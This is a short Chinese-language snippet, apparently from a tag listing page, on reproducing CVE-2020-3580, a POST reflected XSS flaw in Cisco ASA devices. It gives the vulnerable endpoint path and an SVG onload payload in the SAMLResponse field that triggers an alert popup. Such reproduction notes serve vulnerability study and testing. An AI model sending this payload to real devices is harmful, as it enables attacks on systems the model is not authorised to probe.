首页 > TAG信息列表 > 3580

CISCO ASA设备的POST反射型XSS漏洞复现(CVE-2020-3580)

是这个界面的,就打开hackbar,注意url后面部分和post部分 URL部分 /+CSCOE+/saml/sp/acs?tgname=a POST部分 SAMLResponse="><svg/onload=alert('XSSS')> 执行后就会弹窗